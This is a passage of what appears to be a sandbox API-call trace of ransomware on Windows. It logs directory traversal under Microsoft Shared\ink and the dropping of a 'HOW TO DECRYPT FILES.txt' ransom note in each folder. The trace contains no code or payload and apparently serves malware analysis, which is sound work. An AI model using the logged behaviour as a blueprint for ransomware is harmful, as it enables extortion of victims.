(lpString1="..", lpString2="..") returned 0 [0058.062] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.062] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.062] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.062] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.062] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*") returned="*.*" [0058.062] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\" [0058.062] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\") returned="" [0058.062] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW TO DECRYPT FILES.txt" [0058.062] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\how to decrypt files.txt")) returned 0xffffffff [0058.062] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.063] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.064] CloseHandle (hObject=0x90) returned 1 [0058.064] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" [0058.064] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.064] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.064] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.064] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0058.064] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0058.064] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.064] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" [0058.064] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.067] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.067] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.067] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.067] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.067] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0058.067] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.068] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="boxed-correct.avi") returned 1 [0058.068] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="boxed-correct.avi") returned 1 [0058.068] lstrcmpiA (lpString1="", lpString2="boxed-correct.avi") returned -1 [0058.068] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*") returned="*.*" [0058.068] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.068] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.068] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.069] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0058.069] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.071] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.071] CloseHandle (hObject=0x90) returned 1 [0058.071] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="boxed-correct.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" [0058.072] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0058.072] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.072] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="boxed-delete.avi") returned 1 [0058.072] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="boxed-delete.avi") returned 1 [0058.072] lstrcmpiA (lpString1="", lpString2="boxed-delete.avi") returned -1 [0058.072] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned="boxed-correct.avi" [0058.072] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.072] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.072] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.072] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.072] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="boxed-delete.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" [0058.072] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0058.072] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.072] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="boxed-join.avi") returned 1 [0058.072] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="boxed-join.avi") returned 1 [0058.072] lstrcmpiA (lpString1="", lpString2="boxed-join.avi") returned -1 [0058.072] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned="boxed-delete.avi" [0058.073] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.073] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.073] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.073] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.073] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="boxed-join.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" [0058.073] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0058.073] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.073] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="boxed-split.avi") returned 1 [0058.073] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="boxed-split.avi") returned 1 [0058.073] lstrcmpiA (lpString1="", lpString2="boxed-split.avi") returned -1 [0058.073] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned="boxed-join.avi" [0058.073] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.073] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.073] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.073] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.073] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="boxed-split.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" [0058.074] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0058.074] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="correct.avi") returned 1 [0058.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="correct.avi") returned 1 [0058.074] lstrcmpiA (lpString1="", lpString2="correct.avi") returned -1 [0058.074] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned="boxed-split.avi" [0058.074] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.074] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.074] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.074] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.074] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="correct.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" [0058.074] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0058.074] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="delete.avi") returned 1 [0058.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="delete.avi") returned 1 [0058.074] lstrcmpiA (lpString1="", lpString2="delete.avi") returned -1 [0058.074] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned="correct.avi" [0058.074] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.074] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.074] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.075] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.075] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="delete.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" [0058.075] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0058.075] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.075] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FlickLearningWizard.exe.mui") returned -1 [0058.075] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FlickLearningWizard.exe.mui") returned 1 [0058.075] lstrcmpiA (lpString1="", lpString2="FlickLearningWizard.exe.mui") returned -1 [0058.075] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned="delete.avi" [0058.075] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.075] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.075] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.075] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.075] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="FlickLearningWizard.exe.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" [0058.075] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0058.075] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InkObj.dll.mui") returned -1 [0058.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InkObj.dll.mui") returned -1 [0058.076] lstrcmpiA (lpString1="", lpString2="InkObj.dll.mui") returned -1 [0058.076] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned="FlickLearningWizard.exe.mui" [0058.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.076] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.076] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.076] 